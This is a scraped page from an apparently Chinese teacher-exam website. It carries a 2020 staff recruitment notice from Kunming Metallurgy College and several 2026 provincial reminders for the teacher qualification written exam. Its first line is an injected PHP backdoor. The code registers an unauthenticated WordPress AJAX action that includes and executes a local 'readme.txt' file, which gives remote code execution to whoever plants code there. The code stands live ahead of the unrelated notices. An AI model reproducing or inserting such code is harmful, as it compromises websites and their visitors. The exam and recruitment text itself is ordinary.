if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
云南昆明冶金高等专科学校2020年第二批招聘58人公告-全国教师资格考试网

云南昆明冶金高等专科学校2020年第二批招聘58人公告

  根据《云南省事业单位公开招聘工作人员办法》(云人社发〔2016〕182号)等有关文件规定,结合工作需要,经云南省教育厅、云南省人力资源和社会保障厅批准,昆明冶金高等专科学校2020年计划面向社会公开招聘第二批工作人员58名,现将有关事宜公告如下:

  一、招聘原则

  公开招聘工作遵循“公开、平等、竞争、择优”的原则,采取面向社会,公开报名,统一考试,综合评定,择优聘用的方式进行。

  二、招聘岗位及人数

  昆明冶金高等专科学校2020年第二批公开招聘工作人员58名。具体招聘岗位及招聘条件,详见《昆明冶金高等专科学校2020年第二批公开招聘工作人员计划表》(附件1)。

  三、招聘范围和对象

  凡符合条件的人员均可报名参加本次公开招聘。招聘范围和条件详见附件1,年龄计算截至2020年11月1日。

  四、应聘人员条件

  (一)应聘人员应具备以下条件:

  1.具有中华人民共和国国籍;

  2.遵守宪法和法律,品行端正,热爱教育事业;

  3.具有应聘岗位所需的年龄、学历、专业或技能;

  4.适应岗位要求的身体条件;

  5.具有岗位所需要的其他条件。

  (二)有下列情形之一的人员不得报考:

  受到党纪、政纪处分,期限未满或者正在接受纪律审查的人员,曾被开除公职,受到刑事处罚期限未满或者正在接受司法调查尚未做出结论的人员,均不得参加应聘。

  五、报名程序及资格初审

  本次公开招聘考试统一在云南人才网(www.ynhr.com)进行网络报名。

  (一)报名方式

  1.此次公开招聘不接受现场、短信或来电报名。

  2.符合应聘条件的人员请登录云南人才网(www.ynhr.com)按以下流程进行报名:

  登录云南人才网→进入报名界面,按报名系统提示填写注册信息→上传近期清晰免冠近照的电子照片→填写报名信息→仔细核对报名信息并确认后提交审核→等待审核→审核通过后网上缴费→缴费成功后打印准考证。

  (二)时间安排

  1.提交报名申请时间:

  2020年11月16日9:00至11月18日18:00

  2.资格初审时间:

  2020年11月17日9:00至11月19日18:00

  3.网上交费时间:

  2020年11月17日9:00至11月20日18:00

  4.准考证打印时间:

  2020年12月3日至12月4日

  5.笔试时间:

  时间:暂定于2020年12月5日举行,具体日期地点详见准考证。

  (三)报名资格初审

  报名资格审核由昆明冶金高等专科学校负责,采用计算机审核和人工审核相结合的方式进行。应聘人员可同步查询审查结果,我单位将在24小时内完成审核,应聘人员对于把握不准的资格审核方面的问题(如:专业等),可致电我单位各岗位的咨询电话进行询问。

  请应聘人员务必在提交报名信息前认真核对,确保信息无误。通过报名资格审核的人员,报名信息不允许做任何修改。凡提交报名信息不准确、不真实的,造成的一切后果由应聘人员自己负责。

  (四)网上缴费和准考证打印

  1.请应聘人员在资格初审通过后,于2020年11月17日9:00至11月20日18:00期间完成交费。按照省发展改革委、省财政厅关于事业单位应聘人员资格考试收费标准,每人缴费100元。

  2.通过资格初审并缴费成功的应聘人员于2020年12月3日至12月4日,登陆云南人才网(www.ynhr.com)打印准考证。

  (五)招聘计划裁减

  每个岗位的拟招聘人数与缴费人数比例应等于或高于1:3才能开考,未达1:3开考比例的岗位原则上将进行相应裁减。招聘计划裁减公告将于2020年11月25日在昆明冶金高等专科学校网站进行公布。

  个别急需人才岗位未达到1:3开考比例的,学校将依据实际情况报云南省教育厅、云南省人力资源和社会保障厅批准后方可开考。

  (六)相关要求

  1.应聘人员每人限报一个岗位。

  2.报名与考试时使用的身份证必须一致。报名时,应聘人员按要求如实填报有关信息和材料,报名时所填专业须按照毕业证上的专业名称填写(含括号内的专业方向)。应聘人员填报信息不全或错误而导致未通过资格初审的,后果由应聘人员自行承担;应聘人员填报信息不实的,按弄虚作假处理,取消本次考试资格;应聘人员弄虚作假或以其他不正当手段获取考试资格者,取消本次考试资格。

  3.疫情防控相关要求。考生须主动申报个人健康状况,在手机上申领本人的“云南健康码”,笔试及后续招聘环节均需持健康码进场,并配合考点做好疫情防控工作。“云南健康码”为黄码人员,持考试前7天内有效的核酸检测阴性证明方可进入考场;“云南健康码”为红码人员,持考试前7天内2次核酸检测阴性证明方可进入考场;一个月内有高风险、中风险地区旅居史的人员,持考试前7天内有效的核酸检测阴性证明方可进入考场;一个月内有境外旅居史的人员,持考试前7天内有效的核酸检测阴性证明方可进入考场。考生应做好自我防护,在考前一周至面试结束后期间内,应避免离开考点所在地区,尤其应避免跨省流动,导致健康码异常,为正常参与后续招聘流程带来不便。

  六、招聘程序

  (一)笔试

  1.笔试主要测试应试人员应具备的政策理论水平和综合素质能力,包括公共基础知识和高职高教教育学基础类知识(此为本次招聘所有岗位考试内容),采取闭卷的方式进行,笔试满分100分。

  2.具有博士学历学位或教授职称的应聘人员免笔试,可直接进入面试,面试成绩即为综合成绩,面试满分100分。

  3.笔试时间和地点以准考证为准,应聘人员须凭准考证、身份证原件和手机上申领本人的“云南健康码”按规定时间到指定考场参加笔试。笔试成绩于考试结束后,在昆明冶金高等专科学校网站通知公告栏进行公布。

  (二)资格复审

  1.面试前,每个岗位根据应聘人员笔试成绩从高到低按1:3的比例确定拟进入面试人员,由我校对拟进入面试的应聘人员进行资格复审。应聘人员未在规定时间地点参加资格复审或资格复审不合格的,取消应聘人员的面试资格。

  2.凡放弃资格复审人员,须提交本人书面报告(个人签名按手印)并持有效身份证件至我校人事处备案。学校将根据笔试成绩从高到低进行一次递补,递补后若仍未达到开考比例,我校将视情况对招考岗位数量进行相应裁减。

  3.个别急需人才岗位未达到1:3开考比例的,学校将视实际情况报云南省教育厅、云南省人力资源和社会保障厅批准后方可开考。

  4.资格复审时应聘人员需提供以下材料(验原件,交复印件):

  (1)公民身份证或有效身份证明、毕业证书、学位证书。

  (2)限制了本科或研究生专业的岗位须提交各阶段毕业证和学位证。毕业证或学位证未注明专业方向的,或所学专业为岗位要求的相近专业,还需提交所学专业及方向的课程成绩单或其他佐证材料,成绩单中无招聘专业的课程或成绩不及格的,或无法提供相关专业佐证材料的均按资格复审不通过办理。

  (3)留学回国人员需提供教育部国外学历学位认证书。岗位要求是中共党员的需党组织关系所在的党组织出具党员证明。对专业技术职称有要求的,须提供职称证书原件。

  (4)资格复审和面试的时间、地点和相关要求详见昆明冶金高等专科学校门户网站的公告通知。

  (三)面试

  1.根据笔试成绩的高低排序,按照拟聘人数与进入面试人数1:3的比例确定进入面试人选。面试具体安排、内容及相关要求以面试公告为准,请考生届时查看学校官网。面试满分为100分。

  2.本次面试所有岗位均设定最低合格分数线70分,面试分低于70分的,不予聘用。

  3.符合免笔试条件的应聘人员,直接进入面试,且不占参加笔试人员进入面试环节的名额,面试成绩即为综合成绩。

  (四)综合成绩计算

  1.参加笔试人员综合成绩计算方式为(按照百分制计算):综合成绩=笔试总成绩×50%+面试总成绩×50%。

  2.免笔试人员面试成绩即为综合成绩。

  3.笔试成绩、面试成绩和综合成绩按四舍五入保留两位小数进行计算。如出现综合成绩相同情况,以笔试成绩较高者优先。在各岗位面试成绩达到70分及以上的人员中,根据综合成绩从高到低顺序及岗位拟招聘人数等额确定参加体检及拟聘人员。

  (五)体检

  学校统一组织拟聘人员到指定医院进行体检,具体参照执行人社部、卫生部联合印发的《公务员录用体检操作手册(试行)》。体检费用由参检人员承担。不按我单位要求的时间地点完成所有体检项目或体检结果不合格者均不予聘用,并根据学校需要在同一岗位面试成绩70分及以上的人员中,按综合成绩由高至低的原则依次递补。

  (六)考察

  考察主要针对拟聘用人员的思想政治表现、道德品质、业务能力、工作实绩等进行考察,考察不合格者,不予聘用;填报信息不符或提供虚假证明材料者,不予聘用。

  (七)聘用

  笔试和面试成绩及拟聘用人员在昆明冶金高等专科学校门户网站上进行公示,其中拟聘人员公示期不少于7个工作日。公示期满无异议,经学校监督委员会和云南省教育厅审核,报云南省人力资源和社会保障厅批准后,办理聘用手续。办理聘用手续时必须提供毕业证、学位证、岗位要求的相应证书原件,否则不予聘用。

  (八)岗位待遇

  1.本次被批准聘用的人员,按照事业单位相关管理规定实行试用期制度,试用期满后考核合格的,按照我校岗位聘任管理办法竞聘后,正式聘用并纳入事业单位编制内管理,其管理和待遇按照国家和我省事业单位相关规定执行。

  2.若因本人政治思想、工作能力或身体原因不能胜任所招聘岗位工作的,试用期考核不合格,报云南省教育厅审批并报云南省人力资源和社会保障厅备案,取消聘用资格。

  七、招聘纪律

  (一)招聘单位遵守考试纪律,保守工作秘密,接受社会和有关部门的监督。

  (二)工作人员必须遵守工作纪律,并按国家和我省法规实行回避制度。

  (三)对违反招聘纪律的应聘人员、工作人员和招聘单位,依照《事业单位公开招聘违纪违规行为处理规定》(中华人民共和国人力资源和社会保障部令第35号)进行处理。

  (四)此次公开招聘工作由昆明冶金高等专科学校公开招聘人员纪律检查监督委员会全程参与纪检监督。

  监督电话:0871-66051617。

  八、重要提示

  (一)公开招聘的有关信息通过云南人力资源和社会保障厅及昆明冶金高等专科学校门户网站向社会发布。因查看其他渠道的错误信息造成的报考失误,由报考人员自行负责。

  (二)本次招聘专业条件参照《2019年云南省公务员录用考试专业目录》(附件2)执行。

  (三)应聘人员应确保填写信息的真实性,特别是所填专业须按照毕业证上专业名称填写(含括号内的专业方向)。凡因考生填报信息不实的,按弄虚作假处理,并自行承担因此造成的取消应聘资格等一切后果。

  (四)本公告附件与公告具备同等效力,请应聘人员仔细阅读。因不遵守规定或个人疏忽造成的报名失误所带来的一切后果由本人自行承担。对违反聘用考试纪律的应聘人员,按有关规定处理。

  (五)郑重提醒:招聘单位和考试机构对公开招聘过程中一切违纪违规违法犯罪行为实行“零容忍”,请应聘人员务必认真学习《事业单位公开招聘违纪违规行为处理规定》(中华人民共和国人力资源和社会保障部令第35号),务必诚信应聘,否则成绩无效,并将记入个人诚信档案库,构成犯罪的依法追究刑事责任。

  (六)本次公开招聘考试不指定考试辅导用书,也不举办或委托任何机构举办考试辅导培训班,请各应聘人员不要相信任何有关的宣传推销材料,以免受骗上当。

  未尽事宜由昆明冶金高等专科学校负责解释。

  九、联系方式

  (一)咨询电话:

  1.岗位咨询电话:详见附件1中各岗位咨询电话。

  2.学校人事处咨询电话:0871-66051151、66051668、66051158。

  (二)监督电话:0871-66051617。

  (三)学校官方网站:http://www.kmyz.edu.cn/。

  附件:
  1.昆明冶金高等专科学校2020年第二批公开招聘工作人员计划表

  2. 2019年云南省公务员录用考试专业目录

  云南昆明冶金高等专科学校2020年第二批招聘58人公告附件1.昆明冶金高等专科学校2020年第二批公开招聘工作人员计划表.xlsx

  云南昆明冶金高等专科学校2020年第二批招聘58人公告附件2.2019年云南省公务员录用考试专业目录.xlsx

昆明冶金高等专科学校

2020年11月3日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部